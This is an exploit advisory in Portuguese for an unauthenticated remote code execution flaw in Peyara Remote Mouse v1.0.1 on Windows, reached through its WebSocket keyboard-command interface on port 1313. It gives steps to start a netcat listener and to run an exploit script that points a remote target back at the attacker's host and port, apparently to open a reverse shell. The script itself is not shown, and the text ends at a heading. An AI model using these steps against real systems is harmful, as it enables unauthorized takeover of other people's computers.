Peyara

Título do Exploit: Peyara Remote Mouse v1.0.1 - Execução Remota de Código (RCE)

Data: 2025-05-30

Autor do Exploit: tmrswrr

Link do Software: https://peyara-remote-mouse.vercel.app/

Plataforma: Windows

Versão: v1.0.1

Testado em: Windows 10

Descrição da Vulnerabilidade

O Peyara Remote Mouse v1.0.1 contém uma vulnerabilidade de execução remota de código não autenticada em sua interface de comandos WebSocket (porta 1313). O aplicativo não valida nem sanitiza comandos simulados de entrada de teclado recebidos via conexões WebSocket, permitindo que atacantes encadeiem eventos de teclado maliciosos que executam comandos arbitrários no sistema. Essa vulnerabilidade pode ser explorada remotamente sem autenticação para obter o comprometimento total do sistema.

Passos:

1. Instale o aplicativo vulnerável
   Baixe e instale o Peyara Remote Mouse no sistema Windows de destino.

2. Inicie o listener do Netcat
   Abra um terminal e execute:

   root@kitploit:~

   nc -nlvp 4444
   

3. Execute o script do exploit

python3 Peyara.py --target 192.168.1.107 --lhost 192.168.1.110 --lport 4444

4. Versão HTML do exploit